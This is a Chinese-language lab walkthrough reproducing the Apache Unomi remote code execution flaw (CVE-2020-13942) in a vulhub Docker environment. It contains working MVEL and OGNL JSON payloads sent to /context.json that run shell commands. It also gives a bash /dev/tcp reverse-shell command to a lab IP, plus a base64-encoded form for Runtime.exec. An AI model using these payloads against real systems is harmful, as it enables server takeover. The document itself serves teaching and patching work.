0x00 简介
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:Web CMS 个性化服务、原生移动应用的分析服务、具有分段功能的集中配置文件管理系统、授权管理中心。
0x01 漏洞概述
Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求,从而产生具有Unomi应用程序特权的远程代码执行(RCE)。
0x02 影响版本
Apache Unomi < 1.5.2
0x03 环境搭建
- 使用vulhub环境进行搭建
https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/
- 使用以下命令启动环境
docker-compose up -d
3.docker ps 查看运行安状况
4.访问192.168.141.131:8181或者192.168.141.131:9443,即可搭建成功
0x04 漏洞复现
- 使用bp进行抓包,通过MVEL表达式执行任意命令
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/max\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
修改请求方式为 POST 在 /context.json 上进行
2.执行如下命令进入镜像
docker exec -it a96ae81dab02 /bin/bash
此时可以看到命令已经被执行了
3.通过OGNL表达式执行任意命令
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/doublemax\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
使用Burpsuite发包
查看目标系统,可以看到已经成功创建 doublemax 文件
4.利用此漏洞反弹shell
监听
反弹shell命令
bash -i >& /dev/tcp/192.168.141.131/4646 0>&1
经该网址
http://www.jackson-t.ca/runtime-exec-payloads.html
编码后
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xMzEvNDY0NiAwPiYx}|{base64,-d}|{bash,-i}
将该命令作用到exec()函数上
使用 BurpSuite 发送即可获取shell
0x05 防护建议
-
升级到安全版本https://unomi.apache.org/download.html
-
避免将关键数据作用到表达式中